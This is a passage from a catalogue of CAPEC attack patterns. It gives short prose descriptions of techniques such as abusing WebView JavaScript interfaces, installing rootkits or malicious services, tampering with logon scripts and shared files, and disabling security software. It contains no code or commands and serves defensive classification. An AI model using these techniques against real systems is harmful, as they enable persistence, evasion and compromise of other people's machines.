An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.